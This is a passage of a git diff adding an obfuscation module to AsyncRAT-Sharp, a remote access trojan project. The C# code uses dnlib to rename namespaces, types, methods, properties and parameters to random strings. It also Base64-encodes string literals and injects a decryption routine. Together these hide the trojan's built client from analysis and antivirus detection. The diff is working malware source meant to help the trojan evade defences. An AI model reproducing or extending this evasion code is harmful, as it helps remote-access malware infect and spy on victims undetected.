definitions. + /// + public readonly Dictionary Map = new Dictionary(); + + /// + /// The module which source type originated from. + /// + public readonly ModuleDef OriginModule; + + /// + /// The module which source type is being injected to. + /// + public readonly ModuleDef TargetModule; + + /// + /// The importer. + /// + readonly Importer importer; + + /// + /// Initializes a new instance of the class. + /// + /// The origin module. + /// The target module. + public InjectContext(ModuleDef module, ModuleDef target) + { + OriginModule = module; + TargetModule = target; + importer = new Importer(target, ImporterOptions.TryToUseTypeDefs); + } + + /// + /// Gets the importer. + /// + /// The importer. + public Importer Importer + { + get { return importer; } + } + + /// + public override TypeDef Resolve(TypeDef typeDef) + { + if (Map.ContainsKey(typeDef)) + return (TypeDef)Map[typeDef]; + return null; + } + + /// + public override MethodDef Resolve(MethodDef methodDef) + { + if (Map.ContainsKey(methodDef)) + return (MethodDef)Map[methodDef]; + return null; + } + + /// + public override FieldDef Resolve(FieldDef fieldDef) + { + if (Map.ContainsKey(fieldDef)) + return (FieldDef)Map[fieldDef]; + return null; + } + } + } + +} diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/RenamingObfuscation/Classes/MethodsRenaming.cs b/AsyncRAT-C#/AsyncRAT-Sharp/RenamingObfuscation/Classes/MethodsRenaming.cs new file mode 100644 index 0000000..f65f85e --- /dev/null +++ b/AsyncRAT-C#/AsyncRAT-Sharp/RenamingObfuscation/Classes/MethodsRenaming.cs @@ -0,0 +1,33 @@ +using AsyncRAT_Sharp.RenamingObfuscation.Interfaces; +using dnlib.DotNet; + + +namespace AsyncRAT_Sharp.RenamingObfuscation.Classes +{ + public class MethodsRenaming : IRenaming + { + public ModuleDefMD Rename(ModuleDefMD module) + { + ModuleDefMD moduleToRename = module; + + foreach (TypeDef type in moduleToRename.Types) + { + if (type.IsGlobalModuleType) + continue; + type.Name = Utils.GenerateRandomString(); + foreach (MethodDef method in type.Methods) + { + if (!method.IsSpecialName && !method.IsConstructor && !method.HasCustomAttributes && !method.IsAbstract && !method.IsVirtual) + method.Name = Utils.GenerateRandomString(); + + foreach (ParamDef paramDef in method.ParamDefs) + { + paramDef.Name = Utils.GenerateRandomString(); + } + } + } + + return moduleToRename; + } + } +} \ No newline at end of file diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/RenamingObfuscation/Classes/NamespacesRenaming.cs b/AsyncRAT-C#/AsyncRAT-Sharp/RenamingObfuscation/Classes/NamespacesRenaming.cs new file mode 100644 index 0000000..0b3b041 --- /dev/null +++ b/AsyncRAT-C#/AsyncRAT-Sharp/RenamingObfuscation/Classes/NamespacesRenaming.cs @@ -0,0 +1,84 @@ +using AsyncRAT_Sharp.RenamingObfuscation.Interfaces; +using dnlib.DotNet; +using dnlib.DotNet.Emit; +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading.Tasks; + +namespace AsyncRAT_Sharp.RenamingObfuscation.Classes +{ + public class NamespacesRenaming : IRenaming + { + private static Dictionary _names = new Dictionary(); + + public ModuleDefMD Rename(ModuleDefMD module) + { + ModuleDefMD moduleToRename = module; + + foreach (TypeDef type in moduleToRename.GetTypes()) + { + if (type.IsGlobalModuleType) + continue; + + if (type.Namespace == "") + continue; + + string nameValue; + if (_names.TryGetValue(type.Namespace, out nameValue)) + type.Namespace = nameValue; + else + { + string newName = Utils.GenerateRandomString(); + + _names.Add(type.Namespace, newName); + type.Namespace = newName; + } + } + + return ApplyChangesToResources(moduleToRename); + } + + private static ModuleDefMD ApplyChangesToResources(ModuleDefMD module) + { + ModuleDefMD moduleToRename = module; + + foreach (var resource in moduleToRename.Resources) + { + foreach (var item in _names) + { + if (resource.Name.Contains(item.Key)) + { + resource.Name = resource.Name.Replace(item.Key, item.Value); + } + } + } + + foreach (TypeDef type in moduleToRename.GetTypes()) + { + foreach (var property in type.Properties) + { + if (property.Name != "ResourceManager") + continue; + + var instr = property.GetMethod.Body.Instructions; + + for (int i = 0; i < instr.Count; i++) + { + if (instr[i].OpCode == OpCodes.Ldstr) + { + foreach (var item in _names) + { + if (instr[i].ToString().Contains(item.Key)) + instr[i].Operand = instr[i].Operand.ToString().Replace(item.Key, item.Value); + } + } + } + } + } + + return moduleToRename; + } + } +} diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/RenamingObfuscation/Classes/PropertiesRenaming.cs b/AsyncRAT-C#/AsyncRAT-Sharp/RenamingObfuscation/Classes/PropertiesRenaming.cs new file mode 100644 index 0000000..9790b6a --- /dev/null +++ b/AsyncRAT-C#/AsyncRAT-Sharp/RenamingObfuscation/Classes/PropertiesRenaming.cs @@ -0,0 +1,26 @@ +using AsyncRAT_Sharp.RenamingObfuscation.Interfaces; +using dnlib.DotNet; + +namespace AsyncRAT_Sharp.RenamingObfuscation.Classes +{ + public class PropertiesRenaming : IRenaming + { + public ModuleDefMD Rename(ModuleDefMD module) + { + ModuleDefMD moduleToRename = module; + + foreach (TypeDef type in moduleToRename.GetTypes()) + { + if (type.IsGlobalModuleType) + continue; + + foreach (var property in type.Properties) + { + property.Name = Utils.GenerateRandomString(); + } + } + + return moduleToRename; + } + } +} diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/RenamingObfuscation/Classes/Utils.cs b/AsyncRAT-C#/AsyncRAT-Sharp/RenamingObfuscation/Classes/Utils.cs new file mode 100644 index 0000000..d91a27f --- /dev/null +++ b/AsyncRAT-C#/AsyncRAT-Sharp/RenamingObfuscation/Classes/Utils.cs @@ -0,0 +1,25 @@ +using System; +using System.Collections.Generic; +using System.Security.Cryptography; +using System.Text; + +namespace AsyncRAT_Sharp.RenamingObfuscation.Classes +{ + public static class Utils + { + public static string GenerateRandomString() + { + var sb = new StringBuilder(); + for (int i = 1; i <= random.Next(10,30); i++) + { + var randomCharacterPosition = random.Next(0, alphabet.Length); + sb.Append(alphabet[randomCharacterPosition]); + } + return sb.ToString(); + } + + private static readonly Random random = new Random(); + const string alphabet = "だうよたし長成に調順はんゃち赤たれま生くさ小番1で界世はてしと子の男たし院退がんゃち赤の男たれま生でムラグかずわ重体に昨で"; + + } +} diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/RenamingObfuscation/EncryptString.cs b/AsyncRAT-C#/AsyncRAT-Sharp/RenamingObfuscation/EncryptString.cs new file mode 100644 index 0000000..3d68445 --- /dev/null +++ b/AsyncRAT-C#/AsyncRAT-Sharp/RenamingObfuscation/EncryptString.cs @@ -0,0 +1,80 @@ +using AsyncRAT_Sharp.RenamingObfuscation.Classes; +using AsyncRAT_Sharp.RenamingObfuscation.Interfaces; +using dnlib.DotNet; +using dnlib.DotNet.Emit; +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading.Tasks; + +namespace AsyncRAT_Sharp.RenamingObfuscation +{ + public static class EncryptString + { + private static MethodDef InjectMethod(ModuleDef module, string methodName) + { + ModuleDefMD typeModule = ModuleDefMD.Load(typeof(DecryptionHelper).Module); + TypeDef typeDef = typeModule.ResolveTypeDef(MDToken.ToRID(typeof(DecryptionHelper).MetadataToken)); + IEnumerable members = InjectHelper.Inject(typeDef, module.GlobalType, module); + MethodDef injectedMethodDef = (MethodDef)members.Single(method => method.Name == methodName); + + foreach (MethodDef md in module.GlobalType.Methods) + { + if (md.Name == ".ctor") + { + module.GlobalType.Remove(md); + break; + } + } + + return injectedMethodDef; + } + + public static void DoEncrypt(ModuleDef inPath) + { + EncryptStrings(inPath); + } + + private static ModuleDef EncryptStrings(ModuleDef inModule) + { + ModuleDef module = inModule; + + ICrypto crypto = new Base64(); + + MethodDef decryptMethod = InjectMethod(module, "Decrypt_Base64"); + + foreach (TypeDef type in module.Types) + { + if (type.IsGlobalModuleType || type.Name == "Resources" || type.Name == "Settings") + continue; + + foreach (MethodDef method in type.Methods) + { + if (!method.HasBody) + continue; + if (method == decryptMethod) + continue; + + method.Body.KeepOldMaxStack = true; + + for (int i = 0; i < method.Body.Instructions.Count; i++) + { + if (method.Body.Instructions[i].OpCode == OpCodes.Ldstr) // String + { + string oldString = method.Body.Instructions[i].Operand.ToString(); //Original String + + method.Body.Instructions[i].Operand = crypto.Encrypt(oldString); + method.Body.Instructions.Insert(i + 1, new Instruction(OpCodes.Call, decryptMethod)); + } + } + + method.Body.SimplifyBranches(); + method.Body.OptimizeBranches(); + } + } + + return module; + } + } +} diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/RenamingObfuscation/Interfaces/ICrypto.cs b/AsyncRAT-C#/AsyncRAT-Sharp/RenamingObfuscation/Interfaces/ICrypto.cs new file mode 100644 index 0000000..ca59525 --- /dev/null +++ b/AsyncRAT-C#/AsyncRAT-Sharp/RenamingObfuscation/Interfaces/ICrypto.cs @@ -0,0 +1,13 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading.Tasks; + +namespace AsyncRAT_Sharp.RenamingObfuscation.Interfaces +{ + public interface ICrypto + { + string Encrypt(string dataPlain); + } +} diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/RenamingObfuscation/Interfaces/IRenaming.cs b/AsyncRAT-C#/AsyncRAT-Sharp/RenamingObfuscation/Interfaces/IRenaming.cs new file mode 100644 index 0000000..d2312d7 --- /dev/null +++ b/AsyncRAT-C#/AsyncRAT-Sharp/RenamingObfuscation/Interfaces/IRenaming.cs @@ -0,0 +1,9 @@ +using dnlib.DotNet; + +namespace AsyncRAT_Sharp.RenamingObfuscation.Interfaces +{ + public interface IRenaming + { + ModuleDefMD Rename(ModuleDefMD module); + } +} diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/RenamingObfuscation/ModuleDefMD.cs b/AsyncRAT-C#/AsyncRAT-Sharp/RenamingObfuscation/ModuleDefMD.cs new file mode 100644 index 0000000..01077a1 --- /dev/null +++ b/AsyncRAT-C#/AsyncRAT-Sharp/RenamingObfuscation/ModuleDefMD.cs @@ -0,0 +1,45 @@ +using AsyncRAT_Sharp.RenamingObfuscation.Classes; +using AsyncRAT_Sharp.RenamingObfuscation.Interfaces; +using dnlib.DotNet; + +// Credit github.com/srn-g/RenamingObfuscation +// Fxied by nyan cat +namespace AsyncRAT_Sharp.RenamingObfuscation +{ + public class Renaming + { + + public static ModuleDefMD DoRenaming(ModuleDefMD inPath) + { + ModuleDefMD module = inPath; + return RenamingObfuscation(inPath); + } + + private static ModuleDefMD RenamingObfuscation(ModuleDefMD inModule) + { + ModuleDefMD module = inModule; + + IRenaming rnm = new NamespacesRenaming(); + + module = rnm.Rename(module); + + rnm = new ClassesRenaming(); + + module = rnm.Rename(module); + + rnm = new MethodsRenaming(); + + module = rnm.Rename(module); + + rnm = new PropertiesRenaming(); + + module = rnm.Rename(module); + + rnm = new FieldsRenaming(); + + module = rnm.Rename(module); + + return module; + } + } +} diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/packages.config b/AsyncRAT-C#/AsyncRAT-Sharp/packages.config index 3adcd6b..268adc9 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/packages.config +++ b/AsyncRAT-C#/AsyncRAT-Sharp/packages.config @@ -1,7 +1,7 @@  + - \ No newline at end of file